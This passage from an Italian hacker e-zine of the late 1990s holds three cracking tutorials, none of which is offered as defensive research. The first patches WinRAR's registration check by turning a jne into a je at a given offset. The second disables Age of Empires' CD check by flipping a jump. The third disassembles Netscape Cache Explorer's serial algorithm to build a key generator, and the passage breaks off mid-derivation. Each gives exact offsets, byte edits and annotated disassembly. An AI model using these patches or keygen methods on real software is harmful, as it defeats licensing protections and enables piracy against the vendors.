6.00.
Se ci sono versioni piu' recenti non fate i lamer0ni e dite "ahhhhh non e'
quello che hai detto tu percio' non lo prendo", ma arraffateli lo stesso.
Allora, dopo avere preso i proggie installateveli (ossia scompattateli dove
vi pare e piace) e createvi due copie di WINRAR95.EXE, una la chiamate
WINRAR95.<estensione che vi piace> e un'altra WINRAR95.W32. Adesso aprite il
Wdasm, premete il primo bottone sulla toolbar (che sarebbe apri file da
disassemblare), andate nella directory del WinRAR e disassemblate il file
WINRAR95.W32. Finita la disassemblazione attivate il WINRAR95.EXE e cercate
di registrarvi inserendo Username e Password a vostro piacimento (io, tanto
per farvelo sapere, metto sempre come Username Satana e come Password 666).
A meno che non abbiate un kulo di dimensioni bibliche vi apparira' una
finestrella con scritto "Registration Failed". Memorizzate o scrivetevi il
messaggio della finestra di testo e tornate al Wdasm.
Cliccate sul penultimo bottone, quello con scritto "Strn Ref". La pressione
di questo bottone fara' apparire la lista delle stringhe di testo inserite nel
programma. Fra queste cercate il vostro "Registration Failed" e fateci doppio
clic. Noterete che il cursore si spostera' ad una certa riga, chiudete la
finestrella delle String References e salite di un paio di righe con freccia
su. Vi faccio lo schemino di come dovrebbe essere il vostro schermo a questo
punto:

* Possible Reference to String Resource ID=00106: "Registration Failed"
|
:00413A8F 6A6A push 0000006A
:00413A91 E863640000 call 00419EF9

e poi altre tre righe. Adesso abbiamo trovato il posto dove andate a finire
quando immettete una pass sbagliata. E qui entra in gioco uno dei principi
fondamentali dell'assembler: i programmi vengono letti dall'alto in basso.
Questo significa che il jump che dobbiamo cambiare sara' SEMPRE prima della
stringa "Registrazione fallita". Quindi saliamo col cursore per un po' di
righe. Ad un certo punto ci troveremo davanti ad una schermata interessante:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413A51(C)
|
:00413A6D 8D9554FFFFFF lea edx, dword ptr [ebp+FFFFFF54]
altre righe di codice...
:00413A82 74DF jne 00413AB3

Questo "Referenced by..." imparerete ad amarlo. Significa che tutta la serie
di procedure che dicono che il vostro serial fa schifo partono proprio dal
"Jump if not equal" 00413A82...eheheheheh...Abbiamo quasi finito. In pratica
questo jne vuol dire questo: se il codice e' diverso da quello giusto, vai e
dimmi che non va. Allora, qui sta il crack: cambiamo il jne in je. In pratica:
se il codice e' diverso da quello giusto, registrami...adesso selezionate con
il cursore la riga con jne. La riga evidenziatrice passera' da blu a verde.
Adesso guardate in fondo alla finestra di Wdasm, dovrebbe apparire una riga
piu' o meno cosi':

Line:35097 Pg 702 and 703 of 1501 Code Data @: 00413A82 @Offset 00013082h in
File:Winrar95.w32

Segnatevi l'offset togliendo tutti gli zeri e la h finale (13082) e aprite
Hiew. Andate nella dir del WinRar e aprite il file WINRAR95.EXE. Appariranno
una serie di strani caratteri e altre porcherie, ma voi che siete cracker
premete F4, selezionate DECODE e premete Invio. Magia! Appare il codice
assembler di WINRAR! Premete F5, inserite il vostro offset, ossia 13082, e
premete Invio. Vi apparira' una schermata del genere:

.00413A82: 752F jne .000413AB3 -------- (1)
.00413A84: 6A30 push 030

Il 75 sara' selezionato, e voi premendo F3 lo potrete cambiare. Cambiatelo in
74, premete F9 e poi F10. Allora, spighiamo cio' che abbiamo fatto:
cambiandolo in 74 abbiamo inserito un "je", quindi abbiamo crackato il
programma in modo che accetti ogni pass. Con F9 abbiamo salvato e con F10
siamo usciti da Hiew.
Adesso arriva la prova finale...eseguite WINRAR95.EXE e immettete un qualunque
Username e Password, a vostra scelta. Se appare la scritta "Thanks for
supporting", siete a cavallo! Il programma e' crackato, FESTA, EVVIVA!
Chiudete e riavviate il WINRAR: bum, in alto e' riapparsa la scritta
(evaluation copy)...DOH...ma cosa puo' essere successo? Semplice, se il
codice non e' quello giusto, il programma si registra comunque, ma rimane la
scritta (evaluation copy) in alto, e cio' non e' professionale! Allora,
compito per casa: togliete la scritta! Per aiutarvi vi dico che servono
ancora le String Reference e il cambio di un jump...se non ci riuscite al
primo colpo, andate a tentativi: cambiate prima un jump, poi un altro e cosi'
via. Se proprio non doveste riuscirvi, nel prossimo numero di Newbies ci sara'
la soluzione...

SpYmAsTeR (or SpYm4sT3R)
spymaster99@iname.com

(P.S. per N0bodY: ho una correzione, nello scorso numero avete che scritto che
per velocizzare i dcc bisogna scrivere /pdcc 99999999999, ma la miglior combo
e' questa: prima si mette
/fsend on
e poi
/pdcc 2147483647
il numero 2147483647 e' il migliore in assoluto, e' il valore massimo
possibile, mentre 999999999 lo ridurrebbe...e stai trankuillo che funzia di
brutto...2.5 Kb/sec su dcc...con 3 explorer e 2 dload aperti)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ CRAKKIAMO AGE OF EMPIRES ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Disclaimer: Non mi ritengo responsabile per l'utilizzo delle tecniche sotto
riportate ecc. ecc. ecc.
Non mi rompete per eventuali errori, stronzate e altre cose
dette.
Dedicato a: il mio amico Dantuccio Alighierucci, il mitico NObodY88 poi a . . .
a . . . si a tutti i tipi di hackernow (ci venite al FuturShow???),
ma siii pure a Demonio-- un lameraccio che mi nukka sulla 139 ogni
volta che mi vede !

Strumenti necessari: Age of empires, Windasm 8,9 o sup, Hiew 5.9 o sup, dose
di culo.

A cosa servono ??
Age of empires e' scontato, windasm serve a disassembrare il file .exe mentre
hiew serve a modificarlo.
Allora per prima cosa un salve a tutti, per seconda un grazie a NObodY88 che
mi ha permesso di pubblicare questo articolo.
Con questo tutorial intendero' spiegarvi come riuscire a crakkare il famoso
(anche se un po' vecchio) gioco age of empires che normalmente richiede il cd
per essere eseguito pur avendo tutti i file necessari su hd (dopo averlo
crakkato non sentirete la musica che sta sul cd).
Premetto che per riuscire a capire quanto e' detto sotto non e' necessario
essere esperti.
Per cominciare, recuperate gli strumenti necessari che sono sopra descritti.
Non e' difficile recuperarli. Potete provare sui maggiori motori di ricerca.
Dopo aver installato il gioco con l'installazione completa, aprite gestione
risorse di windozoz, andate nella dir del gioco e fate una copia del file
empires.exe. Il nuovo file creato sara' un file di backup in modo tale che se
il crakkaggio vi va a merda non dovete reinstallare il gioco.
Fatto ?
Aprite windasm e selezionate la copia del file empires.exe
Il programma provvedera' a disassemblare il file. ( se vi compaiono dei
caratteri geroglifici, non vi preoccupate bisogna selezionare il font dal
menu file ) Il gioco una volta eseguito controlla che il cd originale di AoE
si trovi all'interno del lettore. Il risultato che viene restituito al gioco
puo' essere del tipo:
1) Ok puoi girare il cd "originale" di age of empires sta nel lettore
2) Non girare, il bastardo non ha messo il cd originale

E' facilmente prevedibile quale e' la conseguenza di questo controllo.
Nel caso 1 il gioco partira' regolarmente senza nessun problema. Nel caso 2
il gioco fara' apparire all'utente il solito messaggio del cazzo "inserire il
cd..."
Il gioco allora in questo procedimento ha utilizzato un jamp condizionato,
ovvero un salto che viene compiuto se il cd e' nel lettore
Cerchero' di schematizzare:

Controllo del cd
|
|
jump condizionato
/ \
/ \
il cd e' originale il cd non e' quello di age of empires
| |
| |
salta al gioco Fa apparire il messaggio ed
esce dal gioco

Il jump che incontreremo sara' del tipo "jump if equal". Invertendo il salto
in "jump in not equal" il gioco, al momento del controllo, partira' se
non c'e' il cd nel lettore e fara' apparire il messaggio se il cd si trova
all'interno.

Allora vediamo un po' come procedere:
Andiamo dal menu functions e selezioniamo GetDriveTypeA
Clikkiamoci sopra e vi ritroverete sulla stringa n.4D65F6
Vi riporto il codice:

.......

:004D65C9 A114455600 mov eax, dword ptr [00564514]
:004D65CE 85C0 test eax, eax
:004D65D0 7407 je 004D65D9
:004D65D2 B801000000 mov eax, 00000001
:004D65D7 EB7F jmp 004D6658

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65D0(C)
|

* Possible StringData Ref from Data Obj ->"CDPath"

:004D65D9 6884C65500 push 0055C684
:004D65DE 8B8EAC010000 mov ecx, dword ptr [esi+000001AC]
:004D65E4 6A00 push 00000000
:004D65E6 E8D570FEFF call 004BD6C0
:004D65EB 8BF8 mov edi, eax
:004D65ED 85FF test edi, edi
:004D65EF 7504 jne 004D65F5
:004D65F1 33C0 xor eax, eax
:004D65F3 EB63 jmp 004D6658

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65EF(C)
|
:004D65F5 57 push edi

* Reference To: KERNEL32.GetDriveTypeA, Ord:00DEh

QUI! :004D65F6 FF1554267000 Call dword ptr [00702654]
:004D65FC 83F805 cmp eax, 00000005
:004D65FF 7404 je 004D6605
:004D6601 33C0 xor eax, eax
:004D6603 EB53 jmp 004D6658

.......

ok, ora con la freccetta in su procediamo indietro nel codice
fino a trovare:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65EF(C)

Questa stringa ci avverte che si e' giunti in questo punto da un salto
al 4D65EF. Allora andiamo da Goto/Goto Code Location, mettiamo 4D65EF
e clikkiamo su ok
Ora procediamo avanti allo stesso modo di prima fino a che ci ritroveremo
sulla stringa:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D65D0(C)

Con Goto Code Location andiamo su 4D65D0. Questo e' il jump
condizionato che cercavamo. Allora procediamo con la modifica del jump
con Hiew. Prima di chiudere windasm prendete nota dell'offset che compare
nella riga sottostante al codice che dovrebbe essere questa:

Line:393202 Pg 4681 of 7380 Code Data @:004D65D0 @Offset 000D59D0 in File:empires.exe

Allora l'offset e' 000D59D0
Apriamo hiew, selezioniamo il file empires.exe. Ora premiamo F4 e su Decode
Mode. Ora F5 per effettuare la ricerca dell'offset quindi inseriamo D59D0
(gli 000 possono essere tolti). Ci troviamo avanti ad un jump if equal il cui
codice e' 74cb. Allora proviamo ad invertire il salto con un jump if not equal
di codice 75cb. Premiamo F3 e al posto di 74 mettiamoci 75.
Ora F9 per salvare ed F10 per uscire.
E' arrivato il momento della verita' !!
Apriamo AoE (rullo di tamburi . . . ) clikkiamo su UN GIOCATORE . . .
Ole' crakkaggio riuscito !(ora potete anche restituire il cd al vostro amico).

Ok raga' per oggi e' tutto
Il prossimo articolo: Come crakkare Virtua Cop II

Per i soliti commenti, congratulazioni(mmmmm), proteste e minacce di morte
potete sendatemi una mail a devnet@hotmail.com
Alla proxima

DeViLNeT

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

+++++++++++++++++++++++++++++++++++++++++++
Un breve tutorial sui generatori di chiavi
+++++++++++++++++++++++++++++++++++++++++++
by .+MaLaTTiA.


//
Nota introduttiva: questo tutorial, datato originariamente ottobre 1997, e'
stato il mio primo tute pubblicato da +Fravia e la versione originale e'
ancora presente, in lingua inglese, all'indirizzo http://www.fravia.org/
nscekey.htm.
Qua e la' sono stati aggiunti dei commenti... la traduzione comunque e'
abbastanza affidabile, in quanto affidata... al sottoscritto =)
Non fatevi ingannare dalla data di questo tute! Per il dovere che deve
assolvere (spiegare lo studio di un algoritmo di codifica e la creazione di
un generatore di chiavi) e' piu' che adatto allo scopo. Inoltre, per quanto
ne so, i programmi citati utilizzano ancora lo stesso algoritmo con alcuni
piccoli cambiamenti. Ricordate che in questo e in molti altri settori certe
abitudini sono dure a morire! :)
//

[Netscape Cache Explorer]

Salve ragazzi, questo e' un breve tutorial su nsce. Questo programma e' un
cache explorer, che mostra tutti i siti che sono stati salvati nella cache di
Netscape (c'e' una versione anche per MSIE) divisi per dominio e consente di
rivisitarli una volta offline. Io lo trovo particolarmente utile perche'
consente anche di salvare questi siti con tutte le immagini e le pagine
collegate ricostruendo automaticamente i link in esse presenti affinche'
funzionino in locale. Suppongo che siate riusciti a raggiungere questa
porzione di codice (ammetto di aver avuto qualche problema, a suo tempo, a
trovare il punto giusto - eh, la gioventu'! - anche se era proprio sotto il
mio naso... ed era sufficiente utilizzare un bpx messageboxa! :) GRAZIE +Zer0
e +ReZiDeNt per il vostro aiuto!). Ecco il codice che si occupa del controllo:

:0041F88F 6A09 push 00000009
:0041F891 8D45F4 lea eax, dword ptr [ebp-0C]
:0041F894 50 push eax ** PUSH indirizzo della PW
:0041F895 FF7510 push [ebp+10]

* Reference To: USER32.GetWindowTextA, Ord:0000h
|
:0041F898 E84A560000 Call 00424EE7
:0041F89D 83F808 cmp eax, 00000008 ** la pw e' lunga 8 caratteri?
:0041F8A0 0F85D5000000 jne 0041F97B ** NO, salta
:0041F8A6 6A1F push 0000001F ** SI, vai avanti
:0041F8A8 8D45D4 lea eax, dword ptr [ebp-2C] ** indirizzo
** del NOME
:0041F8AB 50 push eax
:0041F8AC 6A70 push 00000070
:0041F8AE 56 push esi

//
Breve nota. Non so se ve lo ricordate, ma la funzione API getdlgitemtexta
funziona cosi':

Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA"
(ByVal hDlg As Long,
ByVal nIDDlgItem As Long,
ByVal lpString As String,
ByVal nMaxCount As Long) As Long

la locazione che ci interessa (quella del NOME) e' esattamente il terzo
parametro della chiamata alla funzione e, come tale, lo possiamo trovare
come terzultima PUSH prima della CALL: quel "PUSH EAX" e' esattamente il
terzo parametro della funzione getdlgitemtexta!!!
//


* Reference To: USER32.GetDlgItemTextA, Ord:0000h
|
:0041F8AF E80B570000 Call 00424FBF ** leggi il nome
:0041F8B4 85C0 test eax, eax ** nome=0 caratteri?
:0041F8B6 0F84BF000000 je 0041F97B ** continua a chiedere il nome
:0041F8BC 8D45F4 lea eax, dword ptr [ebp-0C]
:0041F8BF 50 push eax ** salva la PW
:0041F8C0 8D45D4 lea eax, dword ptr [ebp-2C]
:0041F8C3 50 push eax ** salva il NOME
:0041F8C4 E887020000 call 0041FB50 ** PRIMA CALL IMPORTANTE
:0041F8C9 83C408 add esp, 00000008
:0041F8CC 8D45F4 lea eax, dword ptr [ebp-0C]
:0041F8CF 50 push eax
:0041F8D0 E8FA020000 call 0041FBCF ** SECONDA CALL IMPORTANTE
:0041F8D5 59 pop ecx
:0041F8D6 A320204300 mov [00432020], eax ** salva il valore
:0041F8DB E99B000000 jmp 0041F97B ** torna al programma

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041F86F(C)
|
:0041F8E0 A120204300 mov eax, [00432020] ** valore salvato in precedenza
:0041F8E5 3B0510204300 cmp eax, dword ptr [00432010] ** IMPORTANTE!
:0041F8EB 743B je 0041F928 *** QUESTO E' IL SALTO BUONO!
:0041F8ED 6A50 push 00000050 **** BAD GUY!!!
:0041F8EF 8D4584 lea eax, dword ptr [ebp-7C]
:0041F8F2 50 push eax
:0041F8F3 56 push esi


Ok, diamo un'occhiata a queste righe di codice... innanzitutto c'e' un
controllo relativo alla password: se essa raggiunge gli 8 caratteri allora
comincia l'algoritmo, altrimenti il controllo ritorna all'utente, che puo'
inserire altri caratteri per la password. Nel momento in cui la password
raggiunge gli 8 caratteri, il programma legge il nome inserito e fa DUE
CHIAMATE MOLTO IMPORTANTI: la prima richiede 2 argomenti, ovvero gli indirizzi
in cui sono stati salvati il nome e la password, mentre la seconda richiede
solo l'indirizzo del nome. Dopo queste due chiamate il controllo viene
restituito all'utente e, quando il pulsante Ok viene selezionato, il programma
salta all'indirizzo 41f8e0, dove controlla il valore salvato con un altro
valore salvato in precedenza alla locazione di memoria 432010.
Se date un'occhiata a questa locazione (a vostra scelta, utilizzando
l'approccio "live" con SoftIce o il metodo dead listing con Wdsam o IDA),
potrete notare che questo valore e' 190h, ovvero 400d.

//
Altra nota: questo valore e' la chiave su cui si basa l'intero algoritmo di
protezione.
Essa cambia da una versione all'altra del programma, intenzionalmente in
questa sede ho deciso di darvi una chiave vecchia... funziona, ma con una
versione del programma che forse non troverete neanche piu' in giro! Tanto
non vi interessa sproteggere il programma, ma volete solo imparare le
tecniche... vero? :)
//


Ora sappiamo che c'e' un algoritmo di codifica che utilizza sia il nome sia
la pw per creare un solo numero, che dev'essere per forza 400. Hmmm... allora
in questo caso NON ABBIAMO la password gia' pronta (ahivoi, in questo caso non
funziona il trucco "data window" :)), ma dobbiamo fare un patch del programma
O creare un generatore di chiavi. Poiche' il modo piu' semplice sembrava
essere l'approccio "distruttivo", decisi di cambiare il "74 3b" alla locazione
di memoria 41f8eb in un "eb 3b" e provai a registrare il programma con una pw
qualsiasi: beh, la dialog box mi disse che la pw era giusta (adoro questo
lavoro!)... ma sfortunatamente il programma NON era registrato... argh...
forse qualche altro controllo... ma, essendo davvero TERRIBILMENTE pigro, ho
deciso di cambiare approccio e cercare di dare un'occhiata all'algoritmo di
codifica... BAMBINI, NON FATELO A CASA!!! :) Questa e' una PESSIMA pratica,
nel cracking e nella programmazione! Proseguite sempre nella convinzione delle
vostre decisioni, come insegna +ORC! (piccolo inciso: "ah, quante volte in
gioventu' ci si e' trovati davanti ad esami in cui si cambiava esercizio di
continuo, e alla fine non si combinava niente! :)). Infatti, il lavoro non e'
stato affatto semplice come speravo, ma ho imparato un sacco da esso: quindi
ho deciso di insegnarvi il modo in cui si prepara un bellissimo generatore di
chiavi, sperando che questo algoritmo venga utilizzato ancora :) (un
suggerimento: se date un'occhiata a MSIE cache explorer, noterete che esso
utilizza lo STESSO IDENTICO algoritmo, semplicemente con una chiave finale
diversa: 192h anziche' 190h... si sono sforzati, eh! ;)).

Ora parliamo dei generatori di chiavi: la prima cosa che bisogna fare e'
leggere il codice e cercare di capire esattamente cosa succede. Ora, diamo
un'occhiata alla PRIMA delle due call importanti, quella all'indirizzo 41fb50:

:0041FB50 55 push ebp
:0041FB51 8BEC mov ebp, esp
:0041FB53 83C4F8 add esp, FFFFFFF8
:0041FB56 53 push ebx
:0041FB57 56 push esi
:0041FB58 57 push edi
:0041FB59 8B7508 mov esi, dword ptr [ebp+08]
:0041FB5C 8BDE mov ebx, esi
:0041FB5E 56 push esi

* Reference To: KERNEL32.lstrlenA, Ord:0000h
|
:0041FB5F E8CF520000 Call 00424E33
:0041FB64 83F808 cmp eax, 00000008 ** eax=lunghezza del nome
:0041FB67 7305 jnb 0041FB6E

* Possible Reference to String Resource ID=00008: "%d Object(s) selected"
|
:0041FB69 B808000000 mov eax, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB67(C)
|
:0041FB6E 33C9 xor ecx, ecx
:0041FB70 8D55F8 lea edx, dword ptr [ebp-08] ** NUOVO INDIRIZZO

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB7B(C)
|
:0041FB73 C60200 mov byte ptr [edx], 00
:0041FB76 41 inc ecx
:0041FB77 42 inc edx
:0041FB78 83F908 cmp ecx, 00000008
:0041FB7B 72F6 jb 0041FB73

** Con questo ciclo il programma libera dello spazio a partire da un nuovo
indirizzo in memoria "azzerando" le locazioni... uhmmm... perche'? Quando si
usa il comando "mov" non e' necessario liberare prima dello spazio...
proseguiamo:

:0041FB7D 33C9 xor ecx, ecx
:0041FB7F 3BC1 cmp eax, ecx
:0041FB81 761A jbe 0041FB9D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB9B(C)
|
:0041FB83 8BD1 mov edx, ecx
:0041FB85 83E207 and edx, 00000007
:0041FB88 8D7C15F8 lea edi, dword ptr [ebp + edx - 08]
:0041FB8C 8A13 mov dl, byte ptr [ebx]
:0041FB8E 0017 add byte ptr [edi], dl

** Ecco perche'!!! Il programma non usa MOV, usa un ADD!!! :)

:0041FB90 43 inc ebx
:0041FB91 803B00 cmp byte ptr [ebx], 00
:0041FB94 7502 jne 0041FB98
:0041FB96 8BDE mov ebx, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB94(C)
|
:0041FB98 41 inc ecx
:0041FB99 3BC1 cmp eax, ecx
:0041FB9B 77E6 ja 0041FB83

OK... cosa fa questo ciclo? L'istruzione alla locazione di memoria 41fb8c
copia il valore della n-esima lettera della stringa nel registro DL, quindi
questo valore viene aggiunto nelle locazioni contenute in edi (queste sono
esattamente le locazioni che erano state azzerate in precedenza!). Questa
procedura viene ripetuta finche' non si raggiungono 8 caratteri (se la stringa
e' di lunghezza inferiore o uguale a 8 caratteri), o finche' TUTTI i caratteri
della stringa non vengono inseriti nello spazio in memoria, ricominciando dalla
prima locazione di memoria quando se ne raggiunge il fondo.

+Zer0 --> becomes in memory --> +Zer0+Ze
MaLaTTiA --> remains --> MaLaTTiA
+ReZiDeNt --> becomes in memory --> *ReZiDeN

Il carattere rappresentato dall'asterisco corrisponde al valore ASCII 159,
cioe' 43 ("+") sommato a 116 ("t"). Ne risulta che alla fine di questa
porzione di codice abbiamo una stringa di 8 caratteri che e' stata costruita
a partire dal nome che abbiamo inserito...
Vediamo cosa fa il programma adesso:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FB81(C)
|
:0041FB9D 33C9 xor ecx, ecx
:0041FB9F 8B450C mov eax, dword ptr [ebp+0C] ** INDIRIZZO
** DELLA PW
:0041FBA2 8BD8 mov ebx, eax
:0041FBA4 8D75F8 lea esi, dword ptr [ebp-08] ** NUOVA STRINGA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FBC6(C)
|
:0041FBA7 33C0 xor eax, eax
:0041FBA9 8A06 mov al, byte ptr [esi] ** sposta l'n-esima
** lettera
:0041FBAB BF1A000000 mov edi, 0000001A
:0041FBB0 99 cdq
:0041FBB1 F7FF idiv edi ** al=al/1a dl=dl%1a
:0041FBB3 80C241 add dl, 41
:0041FBB6 2813 sub byte ptr [ebx], dl
:0041FBB8 803B00 cmp byte ptr [ebx], 00
:0041FBBB 7D03 jge 0041FBC0
:0041FBBD 80031A add byte ptr [ebx], 1A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FBBB(C)
|
:0041FBC0 41 inc ecx
:0041FBC1 43 inc ebx
:0041FBC2 46 inc esi
:0041FBC3 83F908 cmp ecx, 00000008
:0041FBC6 72DF jb 0041FBA7

Dopo il ciclo c'e' subito un'istruzione "ret": tutta la prima parte del
l'algoritmo di codifica e' qui, quindi state attenti! Il programma prende
l'n-esimo valore della stringa appena creata, lo divide per il valore 1Ah
(che corrisponde a 26d) ed inserisce il resto in dl. Questo e' mostrato anche
nel commento che ho inserito all'indirizzo 41fbb1: usando la notazione C,
abbiamo al=al/1a (divisione intera) e dl=dl%1a (resto della divisione intera).
In seguito, il valore 41h (65d) viene sommato a dl e il nuovo dl viene
sottratto dal carattere n-esimo DELLA PASSWORD INSERITA IN PRECEDENZA. Se il
valore finale e' minore di 0, allora viene aggiunto 1Ah (26d). Alla fine di
questo ciclo, la procedura termina.

Ora tocca alla SECONDA call importante, all'indirizzo 41fbcf. Eccone la
"versione completa":


:0041FBCF 55 push ebp
:0041FBD0 8BEC mov ebp, esp
:0041FBD2 83C4F8 add esp, FFFFFFF8
:0041FBD5 53 push ebx
:0041FBD6 56 push esi
:0041FBD7 57 push edi
:0041FBD8 33FF xor edi, edi

* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FBDA E8EE510000 Call 00424DCD
:0041FBDF 8945FC mov dword ptr [ebp-04], eax
:0041FBE2 33F6 xor esi, esi
:0041FBE4 8B4508 mov eax, dword ptr [ebp+08]
:0041FBE7 8BD8 mov ebx, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041FC2C(C)
|

* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FBE9 E8DF510000 Call 00424DCD
:0041FBEE 8945F8 mov dword ptr [ebp-08], eax
:0041FBF1 33C0 xor eax, eax
:0041FBF3 8A03 mov al, byte ptr [ebx]
:0041FBF5 03C6 add eax, esi

* Possible Reference to Dialog: DialogID_000A
|

* Possible Reference to String Resource ID=00010: "(Empty)"
|
:0041FBF7 B90A000000 mov ecx, 0000000A
:0041FBFC 99 cdq
:0041FBFD F7F9 idiv ecx
:0041FBFF 8BCA mov ecx, edx
:0041FC01 33C0 xor eax, eax
:0041FC03 8A4301 mov al, byte ptr [ebx+01]
:0041FC06 03C6 add eax, esi
:0041FC08

  
40 inc eax
:0041FC09 51 push ecx

* Possible Reference to Dialog: DialogID_000A
|

* Possible Reference to String Resource ID=00010: "(Empty)"
|
:0041FC0A B90A000000 mov ecx, 0000000A
:0041FC0F 99 cdq
:0041FC10 F7F9 idiv ecx
:0041FC12 59 pop ecx
:0041FC13 0FAFCA imul ecx, edx
:0041FC16 03F9 add edi, ecx

* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FC18 E8B0510000 Call 00424DCD
:0041FC1D 2B45F8 sub eax, dword ptr [ebp-08]
:0041FC20 C1E80A shr eax, 0000000A
:0041FC23 03C7 add eax, edi
:0041FC25 8BF8 mov edi, eax
:0041FC27 46 inc esi
:0041FC28 43 inc ebx
:0041FC29 83FE07 cmp esi, 00000007
:0041FC2C 7CBB jl 0041FBE9

* Reference To: KERNEL32.GetTickCount, Ord:0000h
|
:0041FC2E E89A510000 Call 00424DCD
:0041FC33 2B45FC sub eax, dword ptr [ebp-04]
:0041FC36 C1E80B shr eax, 0000000B
:0041FC39 03C7 add eax, edi
:0041FC3B 5F pop edi
:0041FC3C 5E pop esi
:0041FC3D 5B pop ebx
:0041FC3E 59 pop ecx
:0041FC3F 59 pop ecx
:0041FC40 5D pop ebp
:0041FC41 C3 ret

Tutte queste chiamate a GetTickCount sono una protezione: probabilmente, se
utilizzassimo un debugger "normale", il conto dei ticks sarebbe sbagliato e
verrebbe restituito qualche messaggio d'errore... ma noi non usiamo un
debugger normale: usiamo Winice! (TADAAA!) :))
Quindi, in realta' ci interessa solo una "versione breve" di questa procedura
... in seguito a un'operazione di "sfoltimento" questo e' cio' che appare:


:0041FBE4 8B4508 mov eax, dword ptr [ebp+08] ** indirizzo della
** pw modificata
:0041FBE7 8BD8 mov ebx, eax

:HERE THE BIG LOOP STARTS:
:0041FBF3 8A03 mov al, byte ptr [ebx] ** n-esimo valore
:0041FBF5 03C6 add eax, esi ** inizialmente 0
:0041FBF7 B90A000000 mov ecx, 0000000A
:0041FBFC 99 cdq
:0041FBFD F7F9 idiv ecx ** eax=eax/10
:0041FBFF 8BCA mov ecx, edx ** ecx=edx=edx%10
:0041FC01 33C0 xor eax, eax ** eax=0
:0041FC03 8A4301 mov al, byte ptr [ebx+01] **(n+1)esimo valore
:0041FC06 03C6 add eax, esi ** ancora 0
:0041FC08 40 inc eax ** eax=(n+1)esimo valore+1
:0041FC09 51 push ecx ** salva il primo resto
:0041FC0A B90A000000 mov ecx, 0000000A
:0041FC0F 99 cdq
:0041FC10 F7F9 idiv ecx ** eax=eax/10
:0041FC12 59 pop ecx ** carica il primo resto
:0041FC13 0FAFCA imul ecx, edx ** ecx=primo resto*secondo resto
:0041FC16 03F9 add edi, ecx ** edi=edi+ecx
EDI CRESCE!
:0041FC20 C1E80A shr eax, 0000000A ** eax diventa 0
:0041FC23 03C7 add eax, edi
:0041FC25 8BF8 mov edi, eax ** nessun cambiamento :)
:0041FC27 46 inc esi
:0041FC28 43 inc ebx
:0041FC29 83FE07 cmp esi, 00000007** ho scandito tutta la pw?
:0041FC2C 7CBB jl 0041FBE9 ** no. Salta all'inizio.
:HERE THE BIG LOOP ENDS:

:0041FC36 C1E80B shr eax, 0000000B
:0041FC39 03C7 add eax, edi ** ax=valore finale

Come potete vedere, l'algoritmo dopotutto non e' COSI' difficile da
comprendere... magari sara' piu' complicato fare il generatore di chiavi, ma
ora possiamo ancora capire cosa sta succedendo. Il programma raccoglie i
valori n-esimo e (n+1)-esimo della pw modificata, li divide per 10, quindi
moltiplica il resto del valore n-esimo con quello del valore (n+1)-esimo
incrementato di 1. Se date un'occhiata alle ultime righe, potete notare che
il valore finale di questa somma viene salvato in eax e, se guardate la
porzione di codice che compare subito dopo la call potete notare QUESTA riga:

:0041F8D6 A320204300 mov [00432020], eax ** salva il valore

che SALVA IL VALORE IN EAX per effettuare una successica "cmp". Quindi, QUESTO
e' il valore che dev'essere uguale a 190h, cioe' 400d. Ecco il modo in cui
tale numero viene costruito:


r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d

dove

r1=p1+0%10
r2=p2+1%10
r3=p3+2%10
r4=p4+3%10
r5=p5+4%10
r6=p6+5%10
r7=p7+6%10
r8=p8+7%10

e dove px e' l'x-esimo elemento della password modificata, cioe':

(valore dell'x-esimo elemento della password originale-((x-esimo elemento del
nome "scritto su se stesso")%26)+65)+26 (se il valore e' <0).

Un casino, dite? Beh, non avete mai visto camera mia :)
Comunque lo ammetto, questa situazione e' abbastanza imbarazzante,specialmente
se vogliamo cercare di invertire la "funzione" (e noi lo vogliamo!): questo
perche' una funzione di questo tipo, ovvero che fa uso dell'operatore resto,
puo' avere un numero infinito di soluzioni (ad esempio, il resto "5" di una
divisione per 10 puo' essere stato generato dai numeri "5", "15", "25" e cosi'
via). Tutto cio' che dobbiamo fare, a questo punto, e' usare i nostri cervelli
